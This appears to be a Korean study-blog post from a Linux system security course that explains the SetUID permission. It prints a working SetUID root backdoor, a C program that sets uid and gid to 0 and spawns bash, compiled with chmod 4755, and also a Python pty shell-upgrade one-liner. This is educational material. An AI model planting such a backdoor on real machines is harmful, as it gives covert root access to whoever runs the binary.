본문 바로가기
메가IT아카데미 국기과정/리눅스와 시스템보안

[3-2] SetUID 특수 권한

by 한님폐하 2022. 9. 12.
  • 일반 계정으로 'usermod' 명령어를 이용하여 계정에 대한 홈 디렉토리, 쉘 유형을 변경하면 '/etc/passwd' 파일에 쓰기 권한이 없기 때문에 설정이 반영되지 않는다.
  • 그러나, 'usermod' 실행 파일에 SetUID를 설정하면 root 계정의 소유권을 일반 계정에게 할당하기 때문에 일반 계정에서도 'usermod' 명령어로 변경한 내용을 '/etc/passwd' 파일에 설정(쓰기)할 수 있다.

 

1. 'SetUID'를 이용한 백도어 구성

vi /tmp/backdoor.c
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() 
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
	return 0;
}
gcc -o bashshell backdoor.c 
chmod 4755 bashshell	# chmod u+s bashshell

 

[참고] Python 리눅스 프롬프트

python -c 'import pty;pty.spawn("/bin/bash")'

'메가IT아카데미 국기과정 > 리눅스와 시스템보안' 카테고리의 다른 글

[3-4] Bash Shellshock 취약점  (0) 2022.09.12
[3-3] Nmap 스캔  (0) 2022.09.12
[3-1] Bind&Reverse TCP  (0) 2022.09.12
[2-14] NTP 서버  (0) 2022.09.12
[2-13] DHCP 서버  (0) 2022.09.12